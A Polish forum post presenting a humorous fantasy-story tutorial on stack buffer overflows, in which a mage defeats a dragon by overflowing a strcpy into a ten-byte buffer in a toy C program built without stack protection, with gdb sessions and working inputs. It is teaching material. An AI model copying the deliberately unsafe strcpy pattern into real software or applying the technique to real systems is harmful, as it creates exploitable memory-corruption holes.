Promhyland I, czyli przepełnienia bufora

Magnefikko

Były Moderator
Dołączył
Maj 29, 2004
Posty
709
<div align='center'>Promhyland I, czyli przepełnienia bufora
by Magnefikko</div>

Artykuł pochodzi ze strony Promhyl Studies
Link do oryginału: Here

Prolog

Wczesny, deszczowy poranek, piąty maja. Reskel był tam gdzie zwykle o tej porze - w karczmie "Pod Najmynabe Promhylerem". W stanie takim jak zwykle - najynabe. Wszystko byłoby dobrze, gdyby nie fakt że w jego sakiewce pozostało jedynie dziesięć złotych monet. I jak tu pić? Tfu, żyć. I jak tu żyć?
Potrzebował pracy. Praca... skrzywił się słysząc we własnych myślach to obrzydliwe słowo. Jednakże... spojrzał na swój kufel pysznego, ciemnego piwa. Na swoją życiową miłość. Uniósł go na wysokość twarzy, ciesząc się jego widokiem. I z nabożną czcią upił łyk. Tak... to jest to! Dla tego warto żyć! Znów pomyślał o swojej sakiewce... i o p...tfu! O sposobie jej wypełnienia. Westchnął ciężko. Wiedział że jeżeli nie znajdzie Tego-Czego-Nazwy-Nie-Wolno-Wymawiać, popadnie w głęboką depresję. Nie będzie mógł pić.
-Mietek - zwrócił się z ciężkim sercem do karczmarza - czy wiesz gdzie tu można dostać... no wiesz.
Mietek namyślał się przez chwilę. Jego ulubioną rozrywką było słuchanie rozmów gości jego karczmy, więc to i owo wiedział.
-Smok - rzekł po jakimś czasie - wioskę nieopodal regularnie nawiedza smok. Jej mieszkańcy zrzucili się na wiedźmina, jednakże żaden smoka owego tknąć się nie chciał.
-Ile dają?
-Sto złociszy.
-Pięćdziesiąt żulowych mocnych - rzekł z namysłem. Pociągnął jeszcze łyka piwa - którędy do tej wioski?
-Pięć godzin drogi na północ, potem ścieżką na wschód, kolejne dwie.
Reskel kiwnął głową.
Smoki. Istoty bardzo miłe i sympatyczne. Miał już okazję pić z jednym i dobrze wspominał to picie - jak każde z resztą. Jednakże jeżeli smok jest be, a ktoś płaci za jego ubicie, nie ma nad czym się zastanawiać.
Reskel nie był wojownikiem. Nie potrafił nawet utrzymać miecza. Ale był magiem. Fakt że wywalili go z Wiecznego Uniwersytetu za pijaństwo, urządzanie imprez i burdy, ale jednak coś mu w głowie zostało. I z tej wiedzy zamierzał skorzystać.


Pierwsze starcie

Nazajutrz Reskel wkroczył do wioski Zabitodechowo. W plecaku miał zapas piwa i żywności, oraz kilka ksiąg które kiedyś ukradł z biblioteki Wiecznego Uniwersytetu. Porozmawiał z mieszkańcami i ruszył do jaskini smoka.
Rozsiadł się w bezpiecznej odległości, wszedł w trans i przeanalizował sytuację.

promhyland.c
Kod:
#include <stdio.h>

int Wygrana(int *Gold, int *Sila){
    printf("\nPokonales smoka!\nZloto + 100 = %d\nSila + 200 = %d\n", *Gold+100, *Sila+200);
    *Gold += 100;
    *Sila += 200;
    return 0;
}

int Smok(int *Sila, int *Gold){
    printf("Atakujesz smoka!\nTwoja sila: %d\nSila smoka: 5000", *Sila);
    if(*Sila ] 5000)
        Wygrana(Gold, Sila);
    else
        printf("\nSmok Cie zabil!\n");
    return 0;
}

int main(int argc, char *argv[]){
    int Gold = 10;    
    int Sila = 5;
    char Imie[10];
    if(argc != 2)
        printf("%s Twoje imie\n", argv[0]);
    else{
        strcpy(Imie, argv[1]);
        Smok(&Sila, &Gold);
    }
}

Smok nie zabezpieczył się przed magią. Reskel nie wyczuł obecności Zaklęcia Ochrony Stosu.

Kod:
magnefikko@PromhylandSH:~$ gcc -o promhyland promhyland.c -fno-stack-protector -g
promhyland.c: W funkcji `main,:
promhyland.c:26: ostrzeżenie: niekompatybilna niejawna deklaracja wbudowanej funkcji `strcpy,
magnefikko@PromhylandSH:~$

Wziął zaś patyk i ruszył sprawdzić umiejętności bojowe smoka.
-Smoku! Oto przybywa Reskel, by Cię pokonać!

Kod:
magnefikko@PromhylandSH:~$ ./promhyland Reskel
Atakujesz smoka!
Twoja sila: 5
Sila smoka: 5000
Smok Cie zabil!
magnefikko@PromhylandSH:~$

Jasna cholera! Ała! Ała! Ała!
Reskel odczołgał się na bezpieczną odległość i użył kilku czarów uzdrawiających. Cud że przeżył ten samobójczy atak.
Przemyślał sytuację...


Zabicie smoka

Reskel postanowił użyć magii do chwilowego zwiększenia swojej siły do takiego stopnia, dzięki któremu mógłby załatwić smoka gołymi rękami. Doszedł do wniosku że może to osiągnąć wykrzykując odpowiednie zaklęcia podczas szarży na smoka, tak jak poprzednio wykrzykiwał swoje imię. Wpadł w trans i zaczął analizować sytuację...
Zwizualizował sobie siebie atakującego smoka. W wizualizacji owej atakując krzyczał "AAAA!" - klasyczny okrzyk wojownika.

Kod:
magnefikko@PromhylandSH:~$ gdb promhyland
GNU gdb 6.8-debian
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later [[url]http://gnu.org/licenses/gpl.html][/url]
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
(gdb) list 0
1       #include [stdio.h]
2
3       int Wygrana(int *Gold, int *Sila){
4               printf("\nPokonales smoka!\nZloto + 100 = %d\nSila + 200 = %d\n", *Gold+100, *Sila+200);
5               *Gold += 100;
6               *Sila += 200;
7               return 0;
8       }
9
10      int Smok(int *Sila, int *Gold){
(gdb) 
11              printf("Atakujesz smoka!\nTwoja sila: %d\nSila smoka: 5000", *Sila);
12              if(*Sila ] 5000)
13            Wygrana(Gold, Sila);
14        else
15            printf("\nSmok Cie zabil!\n");
16        return 0;
17    }
18    
19    int main(int argc, char *argv[]){
20        int Gold = 10;    
(gdb) 
21        int Sila = 5;
22        char Imie[10];
23        if(argc != 2)
24            printf("%s Twoje imie\n", argv[0]);
25        else{
26            strcpy(Imie, argv[1]);
27            Smok(&Sila, &Gold);
28        }
29    }
(gdb)

Skupił się na momencie tuż po wypowiedzeniu zaklęcia (linia 27) i początku walki ze smokiem (linia 12).

Kod:
(gdb) break 27
Breakpoint 1 at 0x80484d1: file promhyland.c, line 27.
(gdb) break 12
Breakpoint 2 at 0x8048440: file promhyland.c, line 12.
(gdb) run AAAA
Starting program: /home/magnefikko/promhyland AAAA

Breakpoint 1, main (argc=2, argv=0xbf86de74) at promhyland.c:27
27            Smok(&Sila, &Gold);
(gdb)

Teraz należało obejrzeć zaklęcie i jego okolice na Stosie Rzeczywistości.

Kod:
(gdb) x/40xb $esp
0xbf86dda0:    0xc2    0xdd    0x86    0xbf    0x64    0xf7    0x86    0xbf
0xbf86dda8:    0x41    0xf7    0x86    0xbf    0xae    0x41    0xea    0xb7
0xbf86ddb0:    0xf0    0xdd    0x86    0xbf    0x24    0x97    0x04    0x08
0xbf86ddb8:    0xc8    0xdd    0x86    0xbf    0xec    0x82    0x04    0x08
0xbf86ddc0:    0xf4    0x5f    0x41    0x41    0x41    0x41    0x00    0x08
(gdb) x/s 0xbf86ddc2
0xbf86ddc2:     "AAAA"
(gdb)

0x41 to w Heksadecymalno ASCIIowym Języku Magii litera "A". Można i prościej:

Kod:
(gdb) x/s Imie
0xbf86ddc2:     "AAAA"
(gdb)

Teraz należałoby namierzyć Wartość Magiczną określającą siłę Reskela.

Kod:
(gdb) x/d &Sila
0xbf86ddcc:    5
(gdb)

Wartość Magiczna siły Reskela - jak to widać w Kodzie Rzeczywistości - na Stosie Rzeczywistości jest tóż po zaklęciu Reskela.

Kod:
(gdb) p 0xbf86ddcc - 0xbf86ddc2
$1 = 10
(gdb)

Odległość między Wartością Magiczną siły Reskela a jego Zaklęciem wynosi dokładnie dziesięć Magicznych Głosek. Z tego płynie prosty wniosek, że zaklęcie musi liczyć sobie dziesięć słów, po których w Heksadecymalnej Mowie Magicznej należy wypowiedzieć czterobajtową nową wartość Wartości Magicznej siły. Spróbujmy.

Kod:
(gdb) q
The program is running.  Exit anyway? (y or n) y
magnefikko@PromhylandSH:~$ ./promhyland ReskelMageAAAA
Atakujesz smoka!
Twoja sila: 1094795585
Sila smoka: 5000
Pokonales smoka!
Zloto + 100 = 110
Sila + 200 = 1094795985
magnefikko@PromhylandSH:~$

Wartość Magiczna siły Reskela została nadpisana wartością 0x41414141 (ASCII - "AAAA"), co w Heksadecymalnej Mowie Magicznej oznacza również liczbę 1094795585. Reskel na chwilę stał się nieprawdopodobnie potężny, i okrutnie napie*lił smoka.


Magiczne złoto

Tak oto Reskel pokonał smoka. Odebrał od mieszkańców wioski swoją nagrodę. Sto złotych monet... ale mógł zdobyć jeszcze więcej złota. Miał na to już dwa pomysły.
Wrócił pod jaskinię smoka i usiadł przy niej. Wprowadził się w trans. Zwizualizował sobie smoka i sprawdził odległość Zaklęcia od Wartości Magicznej Złota.

Kod:
magnefikko@PromhylandSH:~$ gdb promhyland
GNU gdb 6.8-debian
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later [[url]http://gnu.org/licenses/gpl.html][/url]
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
(gdb) break 27
Breakpoint 1 at 0x80484d1: file promhyland.c, line 27.
(gdb) run AAAA
Starting program: /home/magnefikko/promhyland AAAA

Breakpoint 1, main (argc=2, argv=0xbfb8c184) at promhyland.c:27
27                      Smok(&Sila, &Gold);
(gdb) p &Gold - &Imie
First argument of `-' is a pointer and second argument is neither
an integer nor a pointer of the same type.
(gdb) x/d &Gold
0xbfb8c0e0:     10
(gdb) x/s Imie
0xbfb8c0d2:      "AAAA"
(gdb) p 0xbfb8c0e0 - 0xbfb8c0d2
$1 = 14
(gdb) q
The program is running.  Exit anyway? (y or n) y
magnefikko@PromhylandSH:~$

Czas więc wyczarować trochę złota.

Kod:
magnefikko@PromhylandSH:~$ ./promhyland ReskelMageMageAAAA
Atakujesz smoka!
Twoja sila: 1701273933
Sila smoka: 5000
Pokonales smoka!
Zloto + 100 = 1094795685
Sila + 200 = 1701274133
Segmentation fault

Zdaje się że nadpisaliśmy przypadkowo adres powrotny. Ale złota i tak mamy jak lodu.

Istnieje jeszcze jedna metoda zdobycia darmowego złota. Mianowicie nadpisanie adresu powrotnego tak, by wskazywał na adres funkcji Wygrana(). Ale nią oraz kilkoma innymi zajmiemy się w następnym odcinku.

Pozdrawiam.

Magnefikko

W następnym odcinku: Reskel postanawia zejść z drogi prawa i włamać się do magazynu z winem, czyli ataki z wykorzystaniem ciągów formatujących.


---

Zostawiam na jakiś czas do konstruktywnej krytyki, potem poleci do tutoriali xD
 
Do góry Bottom